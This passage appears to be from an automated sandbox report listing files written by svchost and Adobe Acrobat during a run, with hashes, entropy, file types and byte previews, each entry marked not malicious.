Preview:	-..p... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................!......}...................._.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07802683665340013
Encrypted:	false
SSDEEP:	3:tXEYeVMaANaAPaU1lu8JOMwtilluxmO+l/SNxOf:9EzV4NDPaUm8JQGgmOH
MD5:	D461EB8320DCF84F6AF335E2807ADFD3
SHA1:	D3157E27F166D29477BD15A79F04C57C2160DA04
SHA-256:	64E2349DB50FEC737ACE1A74EECAFF0F7EE82D17A5788CB2D6471B5A666F209A
SHA-512:	3B71BD4A7F80891F135813C63D4258CD868846CF919485C50BD4FD3A89A47371B3499369B304E3BF3C663FB78BF4754B7BB8DC9A6A1349CC615C857FFA4D6BD2
Malicious:	false
Preview:	.@.y.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?..................._.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.139014938233109
Encrypted:	false
SSDEEP:	6:iOl1dlyq2PN72nKuAl9OmbnIFUtH1FEj1Zmwp1FE1RkwON72nKuAl9OmbjLJ:73yvVaHAahFUt8J/C1R5OaHAaSJ
MD5:	9E8ED12D1E626F37D6FEC19838E95020
SHA1:	4A2AA669E9435AB6E48EA435DD9054A3015315FF
SHA-256:	546835BE587287D1B026867F2F91AF9F493457CF838CE604DC7D6A2711C2A6BE
SHA-512:	C9B55B60B482A8A8BA87C26A42BAF3420C00CA342FB94439C8439D816DDFCE8690AF52BA8E5173E1FEDDE51E887B23A6339C309D82428C675C22B73930269FE3
Malicious:	false
Preview:	2025/01/11-03:07:06.320 cc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:07:06.323 cc4 Recovering log #3.2025/01/11-03:07:06.323 cc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.139014938233109
Encrypted:	false
SSDEEP:	6:iOl1dlyq2PN72nKuAl9OmbnIFUtH1FEj1Zmwp1FE1RkwON72nKuAl9OmbjLJ:73yvVaHAahFUt8J/C1R5OaHAaSJ
MD5:	9E8ED12D1E626F37D6FEC19838E95020
SHA1:	4A2AA669E9435AB6E48EA435DD9054A3015315FF
SHA-256:	546835BE587287D1B026867F2F91AF9F493457CF838CE604DC7D6A2711C2A6BE
SHA-512:	C9B55B60B482A8A8BA87C26A42BAF3420C00CA342FB94439C8439D816DDFCE8690AF52BA8E5173E1FEDDE51E887B23A6339C309D82428C675C22B73930269FE3
Malicious:	false
Preview:	2025/01/11-03:07:06.320 cc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:07:06.323 cc4 Recovering log #3.2025/01/11-03:07:06.323 cc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.123426088346435
Encrypted:	false
SSDEEP:	6:iOlUGVpQ+q2PN72nKuAl9Ombzo2jMGIFUtH2dWZmwp2QVkwON72nKuAl9Ombzo23:7Xi+vVaHAa8uFUtL/hV5OaHAa8RJ
MD5:	E20C9D62A0643B833792E2C484BE3E1C
SHA1:	DB53E8A89508D515A1C4F32171A3C2B77A5E1014
SHA-256:	57DBCE62C3729C424CECEA20A34A735DAA877CD4201715F4EC687C654CB8A88D
SHA-512:	42F3DE4749E833128C70320352C97456B3E82457F1292F43E4E7C441B3E068A8E1FF26109D1D76416D9B7ED574C1F3515309B5C5AEF8D388EE48E770748A8D2E
Malicious:	false
Preview:	2025/01/11-03:07:06.443 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:07:06.446 1c0c Recovering log #3.2025/01/11-03:07:06.446 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.123426088346435
Encrypted:	false
SSDEEP:	6:iOlUGVpQ+q2PN72nKuAl9Ombzo2jMGIFUtH2dWZmwp2QVkwON72nKuAl9Ombzo23:7Xi+vVaHAa8uFUtL/hV5OaHAa8RJ
MD5:	E20C9D62A0643B833792E2C484BE3E1C
SHA1:	DB53E8A89508D515A1C4F32171A3C2B77A5E1014
SHA-256:	57DBCE62C3729C424CECEA20A34A735DAA877CD4201715F4EC687C654CB8A88D
SHA-512:	42F3DE4749E833128C70320352C97456B3E82457F1292F43E4E7C441B3E068A8E1FF26109D1D76416D9B7ED574C1F3515309B5C5AEF8D388EE48E770748A8D2E
Malicious:	false
Preview:	2025/01/11-03:07:06.443 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:07:06.446 1c0c Recovering log #3.2025/01/11-03:07:06.446 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\80a95555-d774-4737-9bf6-0083f58f52a8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9sBdOg2H2caq3QYiubcP7E4T3y:Y2sRdsndMHJ3QYhbA7nby
MD5:	01EF32261F4D59740F8DBC7EF782B9E4
SHA1:	84B091F470C9D2A78652A55485AA98BEB76BD9A7
SHA-256:	DDC6B78356904B5E82362DAA9BD3097AC531373D1C0D68F32286BA85B4A33579
SHA-512:	D7A29C45A31F38DF3F34FE9DC71DE9A4FE7E2F50EB339A6F1A6B783EA16CFF327E01FBC8734F750685BB9176CA3E50CAF481E7F96313F3EECEF1B22F1CB6839E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142838036592","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128793},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9sBdOg2H2caq3QYiubcP7E4T3y:Y2sRdsndMHJ3QYhbA7nby
MD5:	01EF32261F4D59740F8DBC7EF782B9E4
SHA1:	84B091F470C9D2A78652A55485AA98BEB76BD9A7
SHA-256:	DDC6B78356904B5E82362DAA9BD3097AC531373D1C0D68F32286BA85B4A33579
SHA-512:	D7A29C45A31F38DF3F34FE9DC71DE9A4FE7E2F50EB339A6F1A6B783EA16CFF327E01FBC8734F750685BB9176CA3E50CAF481E7F96313F3EECEF1B22F1CB6839E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142838036592","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128793},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251743456185959
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7bj5:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhJ
MD5:	9E248154F9143BBB46CAD0B313E5B4D5
SHA1:	CEEB478251961E828207B0847F91D8D7CD150CAC
SHA-256:	C4B66FF28842979709A9D059DA5814EF50025A6DF89E8D8BED0146C5A5B809C7
SHA-512:	9CAB1FCD07BEF5B09106E9E17ECE76611A318AF0F136ADBE17B8D531CB169E7D4A43E14E8AC82EFD7CF800FCCC2622A73D76C7A87FD1A5DCF9E035FF5C3F8CC4
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.113122236526631
Encrypted:	false
SSDEEP:	6:iOlnUIQ+q2PN72nKuAl9OmbzNMxIFUtHQVpdWZmwpD9pQVkwON72nKuAl9OmbzNq:7q+vVaHAa8jFUtgm/viV5OaHAa84J
MD5:	E0FCC84EA50A5EEADEE0A6A50DD786E1
SHA1:	2979C57FF255AA6E57251576C5F2CC7F93B15981
SHA-256:	06310843B44EC1ECF26CDBE441845C9A017478B141A514BD85ACAC32589AC480
SHA-512:	54DF7EA436A13A808B29DF602F3CEB23B6F119C3232711705E8322039E7E15D78052E8B6758332E02C7EBF7A8AF589FCBB16ABA2495C62CC5BCE5A773D7A3ABF
Malicious:	false
Preview:	2025/01/11-03:07:07.165 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:07:07.168 1c0c Recovering log #3.2025/01/11-03:07:07.169 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.113122236526631
Encrypted:	false
SSDEEP:	6:iOlnUIQ+q2PN72nKuAl9OmbzNMxIFUtHQVpdWZmwpD9pQVkwON72nKuAl9OmbzNq:7q+vVaHAa8jFUtgm/viV5OaHAa84J
MD5:	E0FCC84EA50A5EEADEE0A6A50DD786E1
SHA1:	2979C57FF255AA6E57251576C5F2CC7F93B15981
SHA-256:	06310843B44EC1ECF26CDBE441845C9A017478B141A514BD85ACAC32589AC480
SHA-512:	54DF7EA436A13A808B29DF602F3CEB23B6F119C3232711705E8322039E7E15D78052E8B6758332E02C7EBF7A8AF589FCBB16ABA2495C62CC5BCE5A773D7A3ABF
Malicious:	false
Preview:	2025/01/11-03:07:07.165 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:07:07.168 1c0c Recovering log #3.2025/01/11-03:07:07.169 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444497231761814
Encrypted:	false
SSDEEP:	384:Seeci5tFiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Kus3OazzU89UTTgUL
MD5:	AC1B3C89D3F156D8FE35830B854613EE
SHA1:	2F52A763DB879F501CD4D53BE2A64719EC45A55B
SHA-256:	445E6DC3C5137119AF65327CA5B57638878C5068A245DE819E68FEB3797EE9DD
SHA-512:	5E2B1E658552A2E155FCBF54EA113BF1DEE6B3099C66D10303C935BEAE59EB3B5407E071F8E38E5A84C9635019346B25647486958DA30AA84ED8E601E1CEFFC8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214315337488358
Encrypted:	false
SSDEEP:	24:7+tBrZnuwKqzqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf2:7MBtnCaqPmFTIF3XmHjBoGGR+jMz+LhO
MD5:	4CD4CCA62B8D65D32EA9FB30EA92D9D2
SHA1:	9120740B6569E5B47BEBEC820785DB92DA6BCB01
SHA-256:	B99650059284E34EC5DD966161FAFBE0042E5035BDCAC964D6DC3836F0717646
SHA-512:	9B6BDBC9243A5BA3311EBD9A4338CD9CD08CE0CCFFAE9B7BA571387C4EA1DEF60EFE648AEC5DEEE5CD86BE6C6B4CE125CB7966F777DDA858C1236788FDC9A645
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.764745823915414
Encrypted:	false
SSDEEP:	3:kkFklxx3qGbVltfllXlE/HT8k7s7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKvKPeT80aVNMa8RdWBwRd
MD5:	274A02151D8D107D80737B3E0C47131F
SHA1:	8D32A48C93FBB33304CFE308EAD59AF99ACB792D
SHA-256:	D4EABCF0BB89DB925E961191955483731C04F59A09F5009D54101C688BEE7C48
SHA-512:	D781C9D98F3A2A0B1507CCB08A6BA26C10CA0C4F93B7DE69938F3BFD53788652939AE1A705D05B986C11169967EAB567A64B42016CCD9DFB6ACC8FA37E627AA3
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....2N..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKPNtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XNtiDImsLNkPlE99SNxAhUe/3
MD5:	1CD75797CB532243D289307EB6FA1652
SHA1:	A038644091E321B38765C30AD728DE9FC69AB7F8
SHA-256:	4DD2989A44D5894A00A52BAFAFFEBAB92C57955017B9ED0EE2148F9B3039B609
SHA-512:	C233BABEE5EC375716DAB1310468344B54003B44C3192B390ED125EC40E09DB3D6D34FFF30755AEA92A203D6600DF5A82C45C8431777B0F82212863FC0E88140
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2896

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
